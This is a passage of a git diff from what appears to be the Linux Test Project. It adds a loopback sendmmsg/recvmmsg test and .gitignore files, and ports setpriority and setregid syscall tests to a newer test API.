+/sendfile09
+/sendfile09_64
diff --git a/testcases/kernel/syscalls/sendmmsg/.gitignore b/testcases/kernel/syscalls/sendmmsg/.gitignore
new file mode 100644
index 0000000..b703ece
--- /dev/null
+++ b/testcases/kernel/syscalls/sendmmsg/.gitignore
@@ -0,0 +1 @@
+sendmmsg01
diff --git a/testcases/kernel/syscalls/sendmmsg/Makefile b/testcases/kernel/syscalls/sendmmsg/Makefile
new file mode 100644
index 0000000..47e0637
--- /dev/null
+++ b/testcases/kernel/syscalls/sendmmsg/Makefile
@@ -0,0 +1,9 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+sendmmsg01: CFLAGS+=-pthread
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sendmmsg/sendmmsg01.c b/testcases/kernel/syscalls/sendmmsg/sendmmsg01.c
new file mode 100644
index 0000000..d1bdf40
--- /dev/null
+++ b/testcases/kernel/syscalls/sendmmsg/sendmmsg01.c
@@ -0,0 +1,123 @@
+/*
+ * This test is based on source contained in the man pages for sendmmsg and
+ * recvmmsg in release 4.15 of the Linux man-pages project.
+ */
+
+#define _GNU_SOURCE
+#include <netinet/ip.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+#include "tst_safe_pthread.h"
+
+#define BUFSIZE 16
+#define VLEN 2
+
+static void *sender_thread(LTP_ATTRIBUTE_UNUSED void *arg)
+{
+	struct sockaddr_in addr;
+	struct mmsghdr msg[2];
+	struct iovec msg1[2], msg2;
+	int send_sockfd;
+	int retval;
+
+	send_sockfd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+
+	addr.sin_family = AF_INET;
+	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	addr.sin_port = htons(1234);
+	SAFE_CONNECT(send_sockfd, (struct sockaddr *) &addr, sizeof(addr));
+
+	memset(msg1, 0, sizeof(msg1));
+	msg1[0].iov_base = "one";
+	msg1[0].iov_len = 3;
+	msg1[1].iov_base = "two";
+	msg1[1].iov_len = 3;
+
+	memset(&msg2, 0, sizeof(msg2));
+	msg2.iov_base = "three";
+	msg2.iov_len = 5;
+
+	memset(msg, 0, sizeof(msg));
+	msg[0].msg_hdr.msg_iov = msg1;
+	msg[0].msg_hdr.msg_iovlen = 2;
+
+	msg[1].msg_hdr.msg_iov = &msg2;
+	msg[1].msg_hdr.msg_iovlen = 1;
+
+	retval = sendmmsg(send_sockfd, msg, 2, 0);
+	if (retval < 0)
+		tst_brk(TFAIL|TTERRNO, "sendmmsg failed");
+
+	return NULL;
+}
+
+
+static void *receiver_thread(LTP_ATTRIBUTE_UNUSED void *arg)
+{
+	int receive_sockfd;
+	struct sockaddr_in addr;
+	struct mmsghdr msgs[VLEN];
+	struct iovec iovecs[VLEN];
+	char bufs[VLEN][BUFSIZE+1];
+	struct timespec timeout;
+	int i, retval;
+
+	receive_sockfd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+	addr.sin_family = AF_INET;
+	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	addr.sin_port = htons(1234);
+	SAFE_BIND(receive_sockfd, (struct sockaddr *)&addr, sizeof(addr));
+
+	memset(msgs, 0, sizeof(msgs));
+	for (i = 0; i < VLEN; i++) {
+		iovecs[i].iov_base = bufs[i];
+		iovecs[i].iov_len = BUFSIZE;
+		msgs[i].msg_hdr.msg_iov = &iovecs[i];
+		msgs[i].msg_hdr.msg_iovlen = 1;
+	}
+
+	timeout.tv_sec = 1;
+	timeout.tv_nsec = 0;
+
+	retval = recvmmsg(receive_sockfd, msgs, VLEN, 0, &timeout);
+	if (retval == -1)
+		tst_brk(TFAIL | TTERRNO, "recvmmsg failed");
+	if (retval != 2)
+		tst_brk(TFAIL, "Received unexpected number of messages (%d)",
+			retval);
+
+	bufs[0][msgs[0].msg_len] = 0;
+	if (strcmp(bufs[0], "onetwo"))
+		tst_res(TFAIL, "Error in first received message.");
+	else
+		tst_res(TPASS, "First message received successfully.");
+
+	bufs[1][msgs[1].msg_len] = 0;
+	if (strcmp(bufs[1], "three"))
+		tst_res(TFAIL, "Error in second received message.");
+	else
+		tst_res(TPASS, "Second message received successfully.");
+
+	return NULL;
+}
+
+static void run(void)
+{
+	pthread_t sender;
+	pthread_t receiver;
+
+	SAFE_PTHREAD_CREATE(&sender, NULL, sender_thread, NULL);
+	SAFE_PTHREAD_CREATE(&receiver, NULL, receiver_thread, NULL);
+	SAFE_PTHREAD_JOIN(sender, NULL);
+	SAFE_PTHREAD_JOIN(receiver, NULL);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/sendmsg/.gitignore b/testcases/kernel/syscalls/sendmsg/.gitignore
new file mode 100644
index 0000000..5867a04
--- /dev/null
+++ b/testcases/kernel/syscalls/sendmsg/.gitignore
@@ -0,0 +1,2 @@
+/sendmsg01
+/sendmsg02
diff --git a/testcases/kernel/syscalls/sendto/.gitignore b/testcases/kernel/syscalls/sendto/.gitignore
new file mode 100644
index 0000000..8d2bb6b
--- /dev/null
+++ b/testcases/kernel/syscalls/sendto/.gitignore
@@ -0,0 +1,2 @@
+/sendto01
+/sendto02
diff --git a/testcases/kernel/syscalls/sendto/sendto02.c b/testcases/kernel/syscalls/sendto/sendto02.c
index c8c2979..5c272d1 100644
--- a/testcases/kernel/syscalls/sendto/sendto02.c
+++ b/testcases/kernel/syscalls/sendto/sendto02.c
@@ -68,12 +68,12 @@
 static void verify_sendto(void)
 {
 	TEST(sendto(sockfd, NULL, 1, 0, (struct sockaddr *) &sa, sizeof(sa)));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "sendto(fd, NULL, ...) succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == EFAULT) {
+	if (TST_ERR == EFAULT) {
 		tst_res(TPASS | TTERRNO,
 			"sendto(fd, NULL, ...) failed expectedly");
 		return;
diff --git a/testcases/kernel/syscalls/set_robust_list/.gitignore b/testcases/kernel/syscalls/set_robust_list/.gitignore
new file mode 100644
index 0000000..7e60b48
--- /dev/null
+++ b/testcases/kernel/syscalls/set_robust_list/.gitignore
@@ -0,0 +1 @@
+/set_robust_list01
diff --git a/testcases/kernel/syscalls/set_thread_area/.gitignore b/testcases/kernel/syscalls/set_thread_area/.gitignore
new file mode 100644
index 0000000..547eb86
--- /dev/null
+++ b/testcases/kernel/syscalls/set_thread_area/.gitignore
@@ -0,0 +1 @@
+/set_thread_area01
diff --git a/testcases/kernel/syscalls/set_tid_address/.gitignore b/testcases/kernel/syscalls/set_tid_address/.gitignore
new file mode 100644
index 0000000..c73dfdf
--- /dev/null
+++ b/testcases/kernel/syscalls/set_tid_address/.gitignore
@@ -0,0 +1 @@
+/set_tid_address01
diff --git a/testcases/kernel/syscalls/setdomainname/.gitignore b/testcases/kernel/syscalls/setdomainname/.gitignore
new file mode 100644
index 0000000..bd197d5
--- /dev/null
+++ b/testcases/kernel/syscalls/setdomainname/.gitignore
@@ -0,0 +1,3 @@
+/setdomainname01
+/setdomainname02
+/setdomainname03
diff --git a/testcases/kernel/syscalls/setegid/.gitignore b/testcases/kernel/syscalls/setegid/.gitignore
new file mode 100644
index 0000000..8e5acc6
--- /dev/null
+++ b/testcases/kernel/syscalls/setegid/.gitignore
@@ -0,0 +1,2 @@
+/setegid01
+/setegid02
diff --git a/testcases/kernel/syscalls/setfsgid/.gitignore b/testcases/kernel/syscalls/setfsgid/.gitignore
new file mode 100644
index 0000000..4818db7
--- /dev/null
+++ b/testcases/kernel/syscalls/setfsgid/.gitignore
@@ -0,0 +1,6 @@
+/setfsgid01
+/setfsgid01_16
+/setfsgid02
+/setfsgid02_16
+/setfsgid03
+/setfsgid03_16
diff --git a/testcases/kernel/syscalls/setfsuid/.gitignore b/testcases/kernel/syscalls/setfsuid/.gitignore
new file mode 100644
index 0000000..9295293
--- /dev/null
+++ b/testcases/kernel/syscalls/setfsuid/.gitignore
@@ -0,0 +1,8 @@
+/setfsuid01
+/setfsuid01_16
+/setfsuid02
+/setfsuid02_16
+/setfsuid03
+/setfsuid03_16
+/setfsuid04
+/setfsuid04_16
diff --git a/testcases/kernel/syscalls/setgid/.gitignore b/testcases/kernel/syscalls/setgid/.gitignore
new file mode 100644
index 0000000..b6aa498
--- /dev/null
+++ b/testcases/kernel/syscalls/setgid/.gitignore
@@ -0,0 +1,6 @@
+/setgid01
+/setgid01_16
+/setgid02
+/setgid02_16
+/setgid03
+/setgid03_16
diff --git a/testcases/kernel/syscalls/setgroups/.gitignore b/testcases/kernel/syscalls/setgroups/.gitignore
new file mode 100644
index 0000000..0649a34
--- /dev/null
+++ b/testcases/kernel/syscalls/setgroups/.gitignore
@@ -0,0 +1,8 @@
+/setgroups01
+/setgroups01_16
+/setgroups02
+/setgroups02_16
+/setgroups03
+/setgroups03_16
+/setgroups04
+/setgroups04_16
diff --git a/testcases/kernel/syscalls/sethostname/.gitignore b/testcases/kernel/syscalls/sethostname/.gitignore
new file mode 100644
index 0000000..68afa27
--- /dev/null
+++ b/testcases/kernel/syscalls/sethostname/.gitignore
@@ -0,0 +1,3 @@
+/sethostname01
+/sethostname02
+/sethostname03
diff --git a/testcases/kernel/syscalls/setitimer/.gitignore b/testcases/kernel/syscalls/setitimer/.gitignore
new file mode 100644
index 0000000..048db9b
--- /dev/null
+++ b/testcases/kernel/syscalls/setitimer/.gitignore
@@ -0,0 +1,3 @@
+/setitimer01
+/setitimer02
+/setitimer03
diff --git a/testcases/kernel/syscalls/setns/.gitignore b/testcases/kernel/syscalls/setns/.gitignore
new file mode 100644
index 0000000..0f294d2
--- /dev/null
+++ b/testcases/kernel/syscalls/setns/.gitignore
@@ -0,0 +1,2 @@
+/setns01
+/setns02
diff --git a/testcases/kernel/syscalls/setpgid/.gitignore b/testcases/kernel/syscalls/setpgid/.gitignore
new file mode 100644
index 0000000..67bf4d4
--- /dev/null
+++ b/testcases/kernel/syscalls/setpgid/.gitignore
@@ -0,0 +1,4 @@
+/setpgid01
+/setpgid02
+/setpgid03
+/setpgid03_child
diff --git a/testcases/kernel/syscalls/setpgrp/.gitignore b/testcases/kernel/syscalls/setpgrp/.gitignore
new file mode 100644
index 0000000..b20f976
--- /dev/null
+++ b/testcases/kernel/syscalls/setpgrp/.gitignore
@@ -0,0 +1,2 @@
+/setpgrp01
+/setpgrp02
diff --git a/testcases/kernel/syscalls/setpriority/.gitignore b/testcases/kernel/syscalls/setpriority/.gitignore
new file mode 100644
index 0000000..9afda02
--- /dev/null
+++ b/testcases/kernel/syscalls/setpriority/.gitignore
@@ -0,0 +1,2 @@
+/setpriority01
+/setpriority02
diff --git a/testcases/kernel/syscalls/setpriority/Makefile b/testcases/kernel/syscalls/setpriority/Makefile
index 5d00984..7a1a87a 100644
--- a/testcases/kernel/syscalls/setpriority/Makefile
+++ b/testcases/kernel/syscalls/setpriority/Makefile
@@ -19,9 +19,4 @@
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-
-ifeq ($(ANDROID), 1)
-FILTER_OUT_MAKE_TARGETS	+= setpriority01
-endif
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/setpriority/setpriority01.c b/testcases/kernel/syscalls/setpriority/setpriority01.c
index d6cc79e..b93a42a 100644
--- a/testcases/kernel/syscalls/setpriority/setpriority01.c
+++ b/testcases/kernel/syscalls/setpriority/setpriority01.c
@@ -64,7 +64,7 @@
 	for (new_prio = -20; new_prio < 20; new_prio++) {
 		TEST(setpriority(tc->which, *tc->who, new_prio));
 
-		if (TEST_RETURN != 0) {
+		if (TST_RET != 0) {
 			tst_res(TFAIL | TTERRNO,
 				"setpriority(%d, %d, %d) failed",
 				tc->which, *tc->who, new_prio);
@@ -92,9 +92,16 @@
 {
 	struct tcase *tc = &tcases[n];
 
+	if (tc->which == PRIO_USER && !user_added) {
+		tst_res(TCONF, "setpriority(%s(%d), %d, -20..19) skipped - Can't add user",
+			str_which(tc->which), tc->which, *tc->who);
+		return;
+	}
+
 	pid = SAFE_FORK();
 	if (pid == 0) {
-		SAFE_SETUID(uid);
+		if (user_added)
+			SAFE_SETUID(uid);
 		SAFE_SETPGID(0, 0);
 
 		TST_CHECKPOINT_WAKE_AND_WAIT(0);
@@ -115,15 +122,20 @@
 {
 	const char *const cmd_useradd[] = {"useradd", username, NULL};
 	struct passwd *ltpuser;
+	int rc;
 
-	if (eaccess("/etc/passwd", W_OK))
-		tst_brk(TCONF, "/etc/passwd is not accessible");
-
-	tst_run_cmd(cmd_useradd, NULL, NULL, 0);
-	user_added = 1;
-
-	ltpuser = SAFE_GETPWNAM(username);
-	uid = ltpuser->pw_uid;
+	switch ((rc = tst_run_cmd(cmd_useradd, NULL, NULL, 1))) {
+	case 0:
+		user_added = 1;
+		ltpuser = SAFE_GETPWNAM(username);
+		uid = ltpuser->pw_uid;
+		return;
+	case 1:
+	case 255:
+		return;
+	default:
+		tst_brk(TBROK, "Useradd failed (%d)", rc);
+	}
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/setpriority/setpriority02.c b/testcases/kernel/syscalls/setpriority/setpriority02.c
index 0f61fca..01a4c81 100644
--- a/testcases/kernel/syscalls/setpriority/setpriority02.c
+++ b/testcases/kernel/syscalls/setpriority/setpriority02.c
@@ -73,15 +73,15 @@
 
 	TEST(setpriority(tc->which, tc->who, tc->prio));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL,
 			"setpriority(%d, %d, %d) %ssucceeds unexpectedly "
 			"returned %ld", tc->which, tc->who, tc->prio, desc,
-			TEST_RETURN);
+			TST_RET);
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_errno) {
+	if (TST_ERR != tc->exp_errno) {
 		tst_res(TFAIL | TTERRNO,
 			"setpriority(%d, %d, %d) %sshould fail with %s",
 			tc->which, tc->who, tc->prio, desc,
diff --git a/testcases/kernel/syscalls/setregid/.gitignore b/testcases/kernel/syscalls/setregid/.gitignore
new file mode 100644
index 0000000..017f129
--- /dev/null
+++ b/testcases/kernel/syscalls/setregid/.gitignore
@@ -0,0 +1,8 @@
+/setregid01
+/setregid01_16
+/setregid02
+/setregid02_16
+/setregid03
+/setregid03_16
+/setregid04
+/setregid04_16
diff --git a/testcases/kernel/syscalls/setregid/setregid01.c b/testcases/kernel/syscalls/setregid/setregid01.c
index 57a38eb..f2e41e1 100644
--- a/testcases/kernel/syscalls/setregid/setregid01.c
+++ b/testcases/kernel/syscalls/setregid/setregid01.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
  * Mountain View, CA  94043, or:
  *
@@ -37,128 +19,47 @@
  * Testcase to test the basic functionality of setregid(2) systemm call.
  */
 
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-#include "test.h"
-#include "compat_16.h"
+static gid_t gid, egid;	    /* current real and effective group id */
+static gid_t neg_one = -1;
 
-static void setup(void);
+static struct tcase {
+	gid_t *arg1;
+	gid_t *arg2;
+	const char *msg;
+} tcases[] = {
+	{&neg_one, &neg_one, "Dont change either real or effective gid" },
+	{&neg_one, &egid,    "Change effective to effective gid" },
+	{&gid,     &neg_one, "Change real to real gid" },
+	{&neg_one, &gid,     "Change effective to real gid" },
+	{&gid,     &gid,     "Try to change real to current real" }
+};
 
-TCID_DEFINE(setregid01);
-int TST_TOTAL = 5;
-
-static gid_t gid, egid;	/* current real and effective group id */
-
-int main(int ac, char **av)
+static void run(unsigned int n)
 {
-	int lc;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(SETREGID(*tc->arg1, *tc->arg2));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * TEST CASE:
-		 *  Dont change either real or effective gid
-		 */
-		gid = getgid();
-		GID16_CHECK(gid, setregid, NULL);
-
-		egid = getegid();
-		GID16_CHECK(egid, setregid, NULL);
-
-		TEST(SETREGID(NULL, -1, -1));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "setregid -  Dont change either real or effective gid failed, errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS,
-				 "setregid -  Dont change either real or effective gid returned %ld",
-				 TEST_RETURN);
-		}
-
-		/*
-		 * TEST CASE:
-		 *  change effective to effective gid
-		 */
-
-		TEST(SETREGID(NULL, -1, egid));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "setregid -  change effective to effective gid failed, errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS,
-				 "setregid -  change effective to effective gid returned %ld",
-				 TEST_RETURN);
-		}
-
-		/*
-		 * TEST CASE:
-		 *  change real to real gid
-		 */
-
-		TEST(SETREGID(NULL, gid, -1));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "setregid -  change real to real gid failed, errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS,
-				 "setregid -  change real to real gid returned %ld",
-				 TEST_RETURN);
-		}
-
-		/*
-		 * TEST CASE:
-		 *  change effective to real gid
-		 */
-
-		TEST(SETREGID(NULL, -1, gid));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "setregid -  change effective to real gid failed, errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS,
-				 "setregid -  change effective to real gid returned %ld",
-				 TEST_RETURN);
-		}
-
-		/*
-		 * TEST CASE:
-		 *  try to change real to current real
-		 */
-
-		TEST(SETREGID(NULL, gid, gid));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "setregid failed");
-		} else {
-			tst_resm(TPASS, "setregid return %ld",
-				 TEST_RETURN);
-		}
-
-	}
-
-	tst_exit();
+	if (TST_RET == -1)
+		tst_res(TFAIL | TTERRNO, tc->msg);
+	else
+		tst_res(TPASS, tc->msg);
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, NULL);
+	gid = getgid();
+	GID16_CHECK(gid, setregid);
 
-	TEST_PAUSE;
+	egid = getegid();
+	GID16_CHECK(egid, setregid);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/setregid/setregid02.c b/testcases/kernel/syscalls/setregid/setregid02.c
index 21d1c82..310eb3a 100644
--- a/testcases/kernel/syscalls/setregid/setregid02.c
+++ b/testcases/kernel/syscalls/setregid/setregid02.c
@@ -1,21 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
  *   Ported by John George
  */
 
@@ -29,13 +15,9 @@
 #include <pwd.h>
 #include <grp.h>
 #include <stdlib.h>
-#include <string.h>
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
-
-TCID_DEFINE(setregid02);
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
 static gid_t neg_one = -1;
 
@@ -48,14 +30,14 @@
  * is used for a separate test.  The tests are executed in the for loop below.
  */
 
-struct test_data_t {
+static struct tcase {
 	gid_t *real_gid;
 	gid_t *eff_gid;
 	int exp_errno;
 	struct group *exp_real_usr;
 	struct group *exp_eff_usr;
 	char *test_msg;
-} test_data[] = {
+} tcases[] = {
 	{
 	&neg_one, &root.gr_gid, EPERM, &ltpgroup, &ltpgroup,
 		    "After setregid(-1, root),"}, {
@@ -71,101 +53,20 @@
 		    "After setregid(bin, root),"}
 };
 
-int TST_TOTAL = ARRAY_SIZE(test_data);
-
-static void setup(void);
-static void gid_verify(struct group *ru, struct group *eu, char *when);
-static struct group get_group_by_name(const char *name);
-static struct group get_group_by_gid(gid_t gid);
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int i;
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			/* Set the real or effective group id */
-			TEST(SETREGID(NULL, *test_data[i].real_gid,
-				      *test_data[i].eff_gid));
-
-			if (TEST_RETURN == -1) {
-				if (TEST_ERRNO == test_data[i].exp_errno) {
-					tst_resm(TPASS, "setregid(%d, %d) "
-						 "failed as expected.",
-						 *test_data[i].real_gid,
-						 *test_data[i].eff_gid);
-				} else {
-					tst_resm(TFAIL, "setregid(%d, %d) "
-						 "failed (%d) but did not set the "
-						 "expected errno (%d).",
-						 *test_data[i].real_gid,
-						 *test_data[i].eff_gid,
-						 TEST_ERRNO,
-						 test_data[i].exp_errno);
-				}
-			} else {
-				tst_resm(TFAIL, "setregid(%d, %d) "
-					 "did not fail (ret: %ld) as expected (ret: -1).",
-					 *test_data[i].real_gid,
-					 *test_data[i].eff_gid, TEST_RETURN);
-			}
-			gid_verify(test_data[i].exp_real_usr,
-				   test_data[i].exp_eff_usr,
-				   test_data[i].test_msg);
-		}
-	}
-
-	tst_exit();
-}
-
-static void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
-	ltpuser = getpwnam("nobody");
-	if (ltpuser == NULL)
-		tst_brkm(TBROK, NULL, "getpwnam(\"nobody\") failed");
-
-	SAFE_SETGID(NULL, ltpuser->pw_gid);
-	SAFE_SETUID(NULL, ltpuser->pw_uid);
-
-	root = get_group_by_name("root");
-	ltpgroup = get_group_by_gid(ltpuser->pw_gid);
-	bin = get_group_by_name("bin");
-
-	TEST_PAUSE;
-}
-
 static struct group get_group_by_name(const char *name)
 {
-	struct group *ret = getgrnam(name);
+	struct group *ret = SAFE_GETGRNAM(name);
 
-	if (ret == NULL)
-		tst_brkm(TBROK|TERRNO, NULL, "getgrnam(\"%s\") failed", name);
-
-	GID16_CHECK(ret->gr_gid, setregid, NULL);
+	GID16_CHECK(ret->gr_gid, setregid);
 
 	return *ret;
 }
 
 static struct group get_group_by_gid(gid_t gid)
 {
-	struct group *ret = getgrgid(gid);
+	struct group *ret = SAFE_GETGRGID(gid);
 
-	if (ret == NULL)
-		tst_brkm(TBROK|TERRNO, NULL, "getgrgid(\"%d\") failed", gid);
-
-	GID16_CHECK(ret->gr_gid, setregid, NULL);
+	GID16_CHECK(ret->gr_gid, setregid);
 
 	return *ret;
 }
@@ -173,11 +74,57 @@
 void gid_verify(struct group *rg, struct group *eg, char *when)
 {
 	if ((getgid() != rg->gr_gid) || (getegid() != eg->gr_gid)) {
-		tst_resm(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
+		tst_res(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
 			 when, getgid(), getegid());
-		tst_resm(TINFO, "Expected: real gid = %d; effective gid = %d",
+		tst_res(TINFO, "Expected: real gid = %d; effective gid = %d",
 			 rg->gr_gid, eg->gr_gid);
-	} else {
-		tst_resm(TPASS, "real or effective gid was modified as expected");
+		return;
 	}
+
+	tst_res(TPASS, "real or effective gid wasn't modified as expected");
 }
+
+static void run(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	/* Set the real or effective group id */
+	TEST(SETREGID(*tc->real_gid, *tc->eff_gid));
+
+	if (TST_RET == -1) {
+		if (tc->exp_errno == TST_ERR) {
+			tst_res(TPASS | TTERRNO,
+				"setregid(%d, %d) failed as expected",
+				*tc->real_gid, *tc->eff_gid);
+		} else {
+			tst_res(TFAIL | TTERRNO,
+				"setregid(%d, %d) failed unexpectedly, expected %s",
+				*tc->real_gid, *tc->eff_gid,
+				tst_strerrno(tc->exp_errno));
+		}
+	} else {
+		tst_res(TFAIL,
+			"setregid(%d, %d) did not fail (ret: %ld) as expected (ret: -1).",
+			*tc->real_gid, *tc->eff_gid, TST_RET);
+	}
+	gid_verify(tc->exp_real_usr, tc->exp_eff_usr, tc->test_msg);
+}
+
+static void setup(void)
+{
+	ltpuser = SAFE_GETPWNAM("nobody");
+
+	SAFE_SETGID(ltpuser->pw_gid);
+	SAFE_SETUID(ltpuser->pw_uid);
+
+	root = get_group_by_name("root");
+	ltpgroup = get_group_by_gid(ltpuser->pw_gid);
+	bin = get_group_by_name("bin");
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.test = run,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/setregid/setregid03.c b/testcases/kernel/syscalls/setregid/setregid03.c
index a51719e..e25a7ec 100644
--- a/testcases/kernel/syscalls/setregid/setregid03.c
+++ b/testcases/kernel/syscalls/setregid/setregid03.c
@@ -1,20 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
  * Ported by John George
  */
 
@@ -22,194 +9,147 @@
  * Test setregid() when executed by a non-root user.
  */
 
-#include <errno.h>
-#include <grp.h>
-#include <stdlib.h>
 #include <pwd.h>
-#include <string.h>
-#include <sys/wait.h>
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-TCID_DEFINE(setregid03);
 static int fail = -1;
 static int pass;
 static gid_t neg_one = -1;
 
-/* flag to tell parent if child passed or failed. */
-static int flag;
-
-struct group users, sys, root, bin;
+struct group nobody_gr, daemon_gr, root_gr, bin_gr;
 struct passwd nobody;
-/*
- * The following structure contains all test data.  Each structure in the array
- * is used for a separate test.  The tests are executed in the for loop below.
- */
 
-struct test_data_t {
+struct tcase {
 	gid_t *real_gid;
 	gid_t *eff_gid;
 	int *exp_ret;
 	struct group *exp_real_usr;
 	struct group *exp_eff_usr;
 	char *test_msg;
-} test_data[] = {
+} tcases[] = {
 	{
-	&sys.gr_gid, &bin.gr_gid, &pass, &sys, &bin,
-		    "After setregid(sys, bin),"}, {
-	&neg_one, &sys.gr_gid, &pass, &sys, &sys, "After setregid(-1, sys)"},
-	{
-	&neg_one, &bin.gr_gid, &pass, &sys, &bin, "After setregid(-1, bin),"},
-	{
-	&bin.gr_gid, &neg_one, &pass, &bin, &bin, "After setregid(bin, -1),"},
-	{
-	&neg_one, &neg_one, &pass, &bin, &bin, "After setregid(-1, -1),"}, {
-	&neg_one, &bin.gr_gid, &pass, &bin, &bin, "After setregid(-1, bin),"},
-	{
-	&bin.gr_gid, &neg_one, &pass, &bin, &bin, "After setregid(bin, -1),"},
-	{
-	&bin.gr_gid, &bin.gr_gid, &pass, &bin, &bin,
+	&daemon_gr.gr_gid, &bin_gr.gr_gid, &pass, &daemon_gr, &bin_gr,
+		    "After setregid(daemon, bin),"}, {
+	&neg_one, &daemon_gr.gr_gid, &pass, &daemon_gr, &daemon_gr,
+		    "After setregid(-1, daemon)"}, {
+	&neg_one, &bin_gr.gr_gid, &pass, &daemon_gr, &bin_gr,
+		    "After setregid(-1, bin),"}, {
+	&bin_gr.gr_gid, &neg_one, &pass, &bin_gr, &bin_gr,
+		    "After setregid(bin, -1),"}, {
+	&neg_one, &neg_one, &pass, &bin_gr, &bin_gr,
+		    "After setregid(-1, -1),"}, {
+	&neg_one, &bin_gr.gr_gid, &pass, &bin_gr, &bin_gr,
+		    "After setregid(-1, bin),"}, {
+	&bin_gr.gr_gid, &neg_one, &pass, &bin_gr, &bin_gr,
